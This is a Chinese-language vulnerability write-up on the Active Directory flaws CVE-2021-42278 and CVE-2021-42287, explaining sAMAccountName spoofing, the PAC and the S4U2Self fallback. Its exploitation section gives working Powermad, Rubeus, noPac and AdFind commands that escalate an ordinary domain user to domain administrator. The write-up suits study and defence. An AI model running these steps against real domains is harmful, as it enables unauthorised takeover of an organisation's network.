Name impersonation and KDC bamboozling 分析

0x00 漏洞背景

今年十一月Cliff Fisher 在推特披露了CVE-2021-42278和CVE-2021-42287两个关于AD域漏洞相关信息，该漏洞影响巨大，在默认情况下只需一个域用户即可拿到域内最高权限。

0x01 披露时间线

11月10日Cliff Fisher在推特发布了相关的漏洞信息。

12月10日Charlie Clark在博客发布漏洞原理及利用手段。

12月11日cube0x0在github发布了noPac，实现了真正的武器化。

0x02 漏洞概述

漏洞的产生本质是windows机器账户和kerbeors之间协调沟通所产生的逻辑问题。

CVE-2021-42278 - KB5008102

允许攻击者任意修改计算机帐户sAMAccountName字段，进而模拟域控申请票据。

加入域的机器账户默认由$结尾，samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断，导致删除sAMAccountName结尾的$照样可以以机器用户身份申请TGT票据。

什么是sAMAccountName

sAMAccountName 属性是一个登录名，用于支持以前版本的 Windows 中的客户端和服务器，例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。登录名必须少于 20 个字符，在域中的所有安全主体对象中必须唯一，并且不能包含以下任何字符：

"/ \ : ; | = , + * ? < >

userPrincipalName是基于Internet标准RFC 822的用户样式登录名，UPN是可选并在域林中的安全主体对象名中保持唯一。在创建用户时可以指定也可不单独指定，用户格式为：username@domain.name。

域名：redteam.lab

SamAccountName：marry

NetBIOS登录名：redteam\marry

UserPrincipalName：marry@redteam.lab

在 Active Directory中，存储帐户登录名或用户对象实际上是命名符号“Domain\LogonName ”中使用NetBIOS名称组合，该属性是域用户对象的必需属性；而SAMAccountName应始终与UPN主体名称保持一致，即SAMAccountName必须等于属性“UserPrincipalName” 的前缀部分。

更改sAMAccountName

漏洞凭借修改计算机帐户sAMAccountName字段来模拟域控申请票据，但直接将域内机器Evilsystem的sAMAccountName改为与域控相同(不加$)，结果显示异常。

原因如https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/所说：

修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性时SPN 列表会自动更新。

添加机器帐户默认会创建4个SPN,包括以下内容：

1. HOST/MachineAccountName

2. HOST/MachineAccountName.domain.name

3. RestrictedKrbHost/MachineAccountName

4. RestrictedKrbhost/MachineAccountName.domain.name

意味着Evilsystem 将要改成与域控相同的SPN，但是SPN是网络控制器服务实例的唯一标识符， Kerberos身份验证使用它来将服务实例与服务登录帐户相关联，这时会产生冲突；但servicePrincipalName在设置以上属性之前已被删除，那么SPN列表将不会更新，除非再次给该字段赋值。所以在修改samAccountName前删除其SPN属性。

sAMAccountType属性

sAMAccountType表示在Active Directory 中安全主体对象的帐户类型。在LDAP查询中，常常用其筛选域机器和域用户等其他对象。

sAMAccountType=268435456（安全组）
sAMAccountType=268435457（非安全组）
sAMAccountType=536870912（别名对象）
sAMAccountType=536870913（非安全别名对象）
sAMAccountType=805306369（机器对象）

sAMAccountType属性可能存在的值：

Name	Value
SAM_DOMAIN_OBJECT	0x0
SAM_GROUP_OBJECT	0x10000000
SAM_NON_SECURITY_GROUP_OBJECT	0x10000001
SAM_ALIAS_OBJECT	0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT	0x20000001
SAM_USER_OBJECT	0x30000000
SAM_MACHINE_ACCOUNT	0x30000001
SAM_TRUST_ACCOUNT	0x30000002
SAM_APP_BASIC_GROUP	0x40000000
SAM_APP_QUERY_GROUP	0x40000001
SAM_ACCOUNT_TYPE_MAX	0x7ffffff

 cn: SAM-Account-Type
 ldapDisplayName: sAMAccountType
 attributeId: 1.2.840.113556.1.4.302
 attributeSyntax: 2.5.5.9
 omSyntax: 2
 isSingleValued: TRUE
 schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9
 systemOnly: FALSE
 searchFlags: fATTINDEX
 attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf
 isMemberOfPartialAttributeSet: TRUE
 systemFlags: FLAG_SCHEMA_BASE_OBJECT |
  FLAG_ATTR_REQ_PARTIAL_SET_MEMBER
 schemaFlagsEx: FLAG_ATTR_IS_CRITICAL

UserAccountControl

UserAccountControl包含一系列标志，这些标志定义了用户对象的一些重要基本属性，可以通过分配给该属性的值通知 Windows 每个主体启用了哪些选项。

该属性标志是累积性的，比如要禁用用户的帐户，UserAccountControl 属性被设置为 514 (2 + 512)。

LEX官网对这个属性进行了整理，以下为常见类型：

UF_NORMAL_ACCOUNT ( 512 )	这是一个普通域用户。
UF_WORKSTATION_TRUST_ACCOUNT ( 4096 )	这是一个普通域机器。
UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 )	这是一个代表与外部域的信任连接的帐户。通常，帐户名称是域的 NetBIOS 名称，末尾带有“$”。
UF_SERVER_TRUST_ACCOUNT ( 8192 )	这是一个域控帐户。
UF_DONT_EXPIRE_PASSWD (65536)	这个用户不受有关域内密码策略相关的影响，且密码永不过期。
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (128)	代表可逆加密存储用户密码 ,如果用户更改密码就能解密获得其明文密码。
UF_ACCOUNT_DISABLE ( 2 )	代表帐户被禁用，并且无法再向域进行身份验证。

https://blog.csdn.net/xjzdr/article/details/3553246也对UserAccountControl进行了详细解释。

UserAccountControl定义了用户对象的重要基本属性，微软以sAMAccountName的值是否以$结尾来区别windows域内的普通域用户和机器账户。但UserAccountControl并没有规定计算机帐户的sAMAccountName必须以$结尾，域机器sAMAccountName去掉最后的$照样可以以机器账户的身份申请TGT票据，为后面的CVE-2021-42287触发提供了先行条件。

CVE-2021-42287 - KB5008380

影响 Kerberos 特权属性证书 (PAC) 并允许攻击者通过S4U2Self冒充域控申请ST的安全绕过漏洞。

微软依照是否以$结尾来区别windows域内的普通域用户和机器账户，所以按照惯例默认给机器账户加$，而kerberos认证时并不会区别对待；为了兼容这种情况，如果kerberos认证票据时没有找到对应的域用户，会采用在用户名称后添加$进行重试认证的fallback。

在有PAC 的情况下请求 TGT，并且为与DC具有相同的sAMAccountName(不带$)的机器帐户请求 S4U2self 票据，当初始帐户不存在时自动进行重试认证fallback，KDC没有验证请求TGT的帐户是否与服务票证中引用的帐户相同，结果在ST中使用DC的密钥进行加密。

在默认设置的 Active Directory 环境中可以通过一个域用户凭证拿到域内最高权限。

0x03 漏洞原理

微软以是否以$结尾来区别windows域内的普通域用户和机器账户，而kerberos认证时并不会区别对待；为了兼容这种情况，如果kerberos认证票据时没有找到对应的域用户，会采用在用户名称后添加$进行重试认证的fallback。

kerberos认证的CName String/SName String均从sAMAccountName提取，如果域控是DC2$，一台域机器的sAMAccountName被改为DC2。那么当域用户申请TGT后将sAMAccountName更改为其他值，进而在申请ST票据时，kerberos找不到DC2这个机器用户，于是会触发fallback变为DC2$。在S4U阶段生成了新的用于访问自身的高权限PAC，KDC没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息，于是在ST中使用域控的密钥进行加密，这样就拿到了域控的ST票据，从而模拟域控上任意服务的任意用户进行访问登陆。

XP源码分析

https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA这篇文章写的很清楚，有兴趣可以看看。

KdcGetTicketInfo

首先判断是否是krbtgt账户，如果是则直接调用GetKrbtgt函数获取TicketInfo

判断是否是本域的用户，并进行三次查找:

首先直接查找传入的用户
然后查找传入的 username+$
仍未找到则查找其 altSecurityIdentities 属性的value

这就是第一个漏洞产生的原因，sAMAccountName没有$的机器账号如果没有找到会加$进行callback重试。

KdcInsertAuthorizationData

KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:

1.如果不是S4U的请求，则直接从TGT的AuthData中提取PAC(沿用最初的PAC)。

说明了S4U的重要性，如果没有S4U2self，将会沿用最初的PAC；最初的PAC在AS-REP阶段凭请求用户身份生成，没有权限访问域控相关服务。

2.如果是S4U请求，首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo，再调用kdcGetPacAuthData函数来构造PAC data。

kdcGetPacAuthData：若原票据不存在PAC，则会构造一个新的PAC；若无法构造，则直接复制PAC。

KdcGetS4UTicketInfo函数的处理逻辑中又调用了KdcGetTicketInfo，也就是通过这把前后两个漏洞组合在了一起。

因此得到和上面一样的结论：

S4U2self拓展用于AS-REQ将票证检索到自身来模仿任意用户访问，而KDC在S4U2Self阶段会将SFU填充的字段从TGT中的PAC复制到新创建的PAC中。在进行自动添加$进行callback时，KDC并没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息，出现鉴权问题从而产生漏洞。

通过公开EXP截取数据分析

wireshark中提供直接将keytab 导入Kerberos，能将PAC等加密字段进行解密。

kerberos认证

整体流程

1.AS_REQ：client用client_hash（一般使用RC4加密）、时间戳向KDC进行预身份验证。
2.AS_REP：KDC检查client_hash与时间戳，如果正确则返回client由krbtgt哈希加密的TGT票据和PAC等相关信息。
3.TGS_REQ：client向KDC请求TGS票据，出示其TGT票据和请求的SPN。
4.TGS_REP：KDC如果识别出SPN，则将该服务账户的NTLM哈希加密生成的ST票据返回给client。
5.AP_REQ：client使用ST请求对应服务，将PAC传递给服务进行检查。服务通过PAC查看用户的SID和用户组等并与自身的ACL进行对比，如果不满足则作为适当的RPC状态代码返回。
6.AP_REP：服务器验证AP-REQ，如果验证成功则发送AP-REP，客户端和服务端通过中途生成的Session key等信息通过加解密转换验证对方身份。

AS-REQ：

域控为DC2$，这里申请sAMAccountName为DC2（不带$）的TGT票据

请求的用户端信息
加密类型
Authenticator（用户Hash加密时间戳）

AS-REP：

通过活动目录查询用户得到用户的Hash，用Hash解密Authenticator，如果解密成功并且时间戳在规定时间内（一般为五分钟），则预认证成功。
生成由krbtgt用户Hash加密的TGT认购权证，用于确保客户端和DC进行安全通信的用户Hash加密后的Login Session Key(作为下一阶段的认证秘钥)。
返回TGT（TGT中包含PAC,PAC包含Client的sid，Client所在的组）、Login Session Key、和时间戳。

PAC

PAC由KDC在AS-REP中生成，其中包含用户sid和组等信息，当client在AD域内进行身份认证的时候，KDC会把这些信息添加到TGT票据加密返回；KDC主要通过PAC中的GroupIds和Userid与要访问服务的ACL进行比较，判断client是否有权限对其进行访问。

KDC在AP-REQ访问服务时检查PAC。同时 TGS 解密验证签名是否正确，然后再重新构造新的 PAC 放在 ST 里返回给client，client将 ST 发送给服务端进行验证，Server再将此信息与用户所索取的资源的ACL进行比较，以此判断用户是否有权限对其进行访问。

PAC里面包含了用户SID、组等信息。在 PAC 中包含PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM两个数字签名，这两个数字签名分别由Server NTLM Hash和KDC NTLM Hash加密，并且PAC对于用户和服务全程都不可见，只有KDC能制作和查看PAC。

PAC结构是一个AuthorizationData

AuthorizationData       ::= SEQUENCE OF SEQUENCE {
    ad-type         [0] Int32,
    ad-data         [1] OCTET STRING
}

结构如下：

可以看到ad-type为AD-IF-RELEVANT。

ad-data也是一个AuthorizationData，ad-type为AD-WIN2K-PAC，ad-data为一个PACTYPE的结构体和几个PAC_INFO_BUFFER 结构数组；PACTYPE结构是PAC的最顶层结构，指定PAC_INFO_BUFFER数组中的元素数。PACTYPE结构用作完整PAC数据的标头。

每个 PAC_INFO_BUFFER 定义了 PAC 缓冲区的类型和字节偏移量，用作指向遵循此标头的PAC内容的指针。PAC_INFO_BUFFER 数组没有定义的顺序，因此PAC_INFO_BUFFER 缓冲区的顺序没有意义。但是，一旦生成了 KDC 和服务器签名，缓冲区的顺序不得更改，否则 PAC 内容的签名验证将失败。

PACTYPE结构如下：

PAC_INFO_BUFFER结构如下：

其中ulType描述在Offset处包含的缓冲区中存在的数据类型。

Value	Meaning
0x00000001	登录信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录信息缓冲区。
0x00000002	凭证信息。PAC结构不应包含多个此类缓冲区。第二个或后续凭证信息缓冲区在收到时必须忽略。
0x00000006	服务器校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录服务器校验和缓冲区。
0x00000007	KDC校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他KDC校验和缓冲区。
0x0000000A	客户名称和票据信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他客户端和票证信息缓冲区。
0x0000000B	受约束的委派信息。PAC结构必须包含一个此类型的缓冲区，以便为S4U2proxy请求提供服务，否则不包含任何缓冲区。必须忽略其他受约束的委派信息缓冲区。
0x0000000C	用户主体名称（UPN）和域名系统（DNS）信息。PAC结构不应包含多个此类型的缓冲区。第二个或后续UPN和DNS信息缓冲区在收到时必须忽略。
0x0000000D	客户索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他客户端索赔信息缓冲区。
0x0000000E	设备信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备信息缓冲区。
0x0000000F	设备索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备声明信息缓冲区。
0x00000010	票证校验和PAC结构不应包含多个此类型的缓冲区。必须忽略其他票证校验和缓冲区。

0x00000006 对应的是Server检验和，0x00000007 对应的是KDC校验和。前面说过PAC包含server和KDC签名，就是为了防止PAC内容被篡改。

KERB_VALIDATION_INFO

KERB_VALIDATION_INFO结构定义了DC提供的用户登录和授权信息，并由RPC编组。结构定义如下：

typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;

主要看UserId、GroupCount和GroupId字段：

Userid：域SID+用户RID（用户SID）

GroupCount：包含帐户所属帐户域内的组数。

GroupID：指向GROUP_MEMBERSHIP GroupIds结构列表的指针，其中包含帐户域中帐户所属的组。此列表中的组数必须等于GroupCount。其中513为域用户，512、520、518、519 是域管组。

MS14068就是将高权限的GroupId插入到伪造的PAC中从而提升权限达到接管域的目的。

TGT包含PAC，定位到ticket→enc-part→PAC_LOGON_INFO

Domain Computers的Group RID都为515，现在的PAC代表申请的是机器账户身份。

TGS-REQ：

将sAMAccountName为DC2的机器账户改为其他任意值，申请其ST

客户端信息
Authenticator(Login Session Key加密时间戳)
TGT认购权限
访问的服务名

TGSREQ携带ap-req，利用as-rep获取到的TGT票据并用上S4U2Self拓展，以administrator的身份请求DC2 cifs服务的ST票据。

上图中的ticket和as-rep返回的ticket都是TGT票据，client用此进行TGS相关后续认证。

S4U2Self

S4U包括和S4U2self和S4U2proxy。S4U2proxy允许服务代表用户获得不同服务的服务票证的扩展，通常用于服务进行委派，这里不再叙述，有兴趣可以看关于委派相关的章节。

这个漏洞出在S4U2Self上，先来了解一下认证流程。

服务可以使用S4U2self将票证检索到自身，允许服务代表用户向自身获取Kerberos服务票据，包含用户的组，因此可用来授权，且S4U2self扩展可用于获取PAC，以确定用户是否对服务具有访问权限。

下图描述了从服务处理TGS的S4U2self TGS-REQ消息。

1.服务使用S4U2self扩展来代表用户向自身检索服务票证。该服务填写PA-FOR-USER数据结构，并向TGS发送TGS-REQ。

2.如果TGS支持PA-FOR-USER扩展，TGS在TGS-REP中返回用户的ST票据。ST返回的PAC包含授权数据。

PA-FOR-USER结构：

PA-FOR-USER ::= SEQUENCE {
       -- PA TYPE 129
       userName              [0] PrincipalName,
       userRealm              [1] Realm,
       cksum                 [2] Checksum,
       auth-package          [3] KerberosString
    }

PA-FOR-USER由四个字段组成：userName、userRealm、cksum和auth-package。

userName为用户的名称，默认名称类型为NT-UNKNOWN。

userRealm是用户帐户的当前域。

auth-package字段必须设置为字符串“Kerberos”，并且不区分大小写。

cksum为前三者的校验和。使用KERB_CHECKSUM_HMAC_MD5函数计算。

在微软官方文档中提到：

如果KDC支持PAC，KDC必须将S4U填充的字段从TGT中的PAC复制到新创建的PAC，并在处理其支持的所有字段后， KDC必须生成新的服务器签名和KDC签名，以替换PAC中的现有签名字段。

即在S4U阶段创建了新的PAC，而新生成的PAC为后面的漏洞利用提供了充分条件。

TGS-REP：

检查自身是否存在服务，如果存在，通过krbtgt解密TGT并通过Login Session Key解密Authenticator(Login Session Key加密时间戳)，就验证了对方身份。然后验证时间戳是否在范围内，并且验证TGT中的时间戳是否过期，原始地址是否和TGT保存的地址相同等。
生成用AS-REP得到的Login Session Key加密后的用于确保安全传输的Server Session Key。
完成认证后，TGS生成ST票据，其中包括：客户端信息和原始的Server Session Key，整个ST票据由该服务的NTLM Hash加密。
将ST和Server Session Key发送给客户端。

结果可以看到在S4U2Self拓展在TGS-REQ中生成了新的高权限PAC用于访问申请的服务。

在申请ST票据时，kerberos找不到DC2这个用户，由于是机器账户会触发fallback自动添加$变为DC2$。结果在 ST 中使用域控的密钥进行加密，进而可以模拟域控上任意服务的任意用户进行访问登陆。

由此可见S4U2Self阶段是漏洞触发的关键点，如果没有S4U2Self就不会生成新的高权限PAC，流程没有任何问题，只是在这之后没有做好鉴权：PAC没有原始请求者的信息、KDC没有识别高权限ST作用于哪个机器账户，从而产生了漏洞。

0x04 漏洞利用

整体流程

假设域内DC机器名为DC1$

1.利用域用户创建域机器Evil。

2.清除Evil的SPN属性。

3.将域机器Evil的sAMAccountName属性更改为DC1(不带$)。

4.为Evil请求TGT，随后将其sAMAccountName更改为其他名字(除DC1均可)。

5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型)；KDC找不到DC1这个机器账号,在DC1后面自动添加$匹配为DC1$(域控),从而返回域控机器账户代替DC1 的ST票证。

利用步骤

1.利用域用户创建域机器Evilsystem

域内任意域用户默认可以添加10台域机器，这是用于加域的正常功能，在LDAP中呈现的字段为ms-DS-MachineAccountQuota的值。

(1)powermad：

默认会自动为其创建机器注册SPN

以任意普通域用户创建一个名为Evilsystem，密码为1qaz@WSX的域机器

New-MachineAccount -MachineAccount Evilsystem -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)

(2)addcomputer.py

默认不会自动为其创建机器注册SPN

2.清除Evilsystem的servicePrincipalName属性(addcomputer.py添加机器用户省略这一步骤)

Set-DomainObject "CN=Evilsystem,CN=Computers,DC=redteam,DC=lab" -Clear 'serviceprincipalname' -Verbose

3.将域机器Evilsystem的sAMAccountName属性更改为DC1(不带$)

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "DC1" -Attribute samaccountname -Verbose

4.为Evilsystem请求TGT，随后将sAMAccountName更改为其他名字(除DC1均可)

Rubeus.exe asktgt /user:"DC1" /password:"1qaz@WSX" /domain:"redteam.lab" /dc:"DC1.redteam.lab" /nowrap

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "EvilEvil" -Attribute samaccountname -Verbose

5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型)

在这里模拟了administrator用户访问DC1上cifs服务的ST票据，这可以是域中任何系统上任何服务上的任何用户。

（也可以申请host服务票据直接添加用户，或者直接申请ldap的票据进行dcsync。）

Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/DC1.redteam.lab" /dc:"DC1.redteam.lab" /ptt /ticket:doIEujCCBLag..

验证结果

公开EXP利用：

https://github.com/cube0x0/noPac

noPac.exe -domain redteam.lab -user carn1 -pass Qq123456.. /dc dc1.redteam.lab /mAccount Evils /mPassword 1qaz@WSX /service cifs /ptt

其他利用场景

漏洞利用的最终条件就是在域控没打补丁的情况下，能够任意修改域机器的SPN和sAMAccountName属性进行滥用。

1.林信任利用

Charlie Clark在后面的文章中展示了林信任的利用方式

A域和B域互相信任，如果有A域a用户的权限，可以利用信任关系在B域创建计算机账户达到漏洞利用。

2.MAQ=0利用

前面的利用基于MAQ(MachineAccountQuota)创建域机器来实现，如果限制MAQ，有以下思路：

(1).CreatorSID

按照微软的ACL规定，创建者即为所有者，所有者必定拥有完全控制权限，当然包括更改名称等一系列属性。

利用MAQ创建域机器利用的方式其实就是利用了CreatorSID属性，在一些域内有专门拉机器账户进域的用户，比如carn1用户将demo123机器拉入域内，则demo123的CreatorSID指向carn1。

通过SID查询Creator

AdFind.exe -f "(&(objectsid=S-1-5-21-2588586899-1821113704-3426516109-2603))" objectclass cn dn

查询carn1对demo123的ACL权限

AdFind.exe -b "CN=demo123,CN=Computers,DC=redteam,DC=lab" nTSecurityDescriptor -sddlfilter ;;;;;"carn1" -sddl+++ -recmute

在拿到一个域用户权限后，可以遍历LDAP查找具有CreatorSID属性的域机器和对应的域用户，如果我们已经有了对应的域用户权限，就可以利用这个用户修改对应域机器的属性来进行漏洞利用。

查找每个域机器的加域账号
AdFind.exe -b “DC=redteam,DC=lab” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID

通过用户的sid查看哪些域机器是通过自己加入到域内的：
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=UserSid))" cn sAMAccountType objectCategory

(2).ACL权限

域内拿到A用户权限后，遍历ACL发现其对域机器B有 GenericAll / GenericWrite等权限，可以通过A直接修改B的属性利用。遍历ACL分析通常用在穷途末路的时候，更适合做一个后门使用，具体使用依情况而定。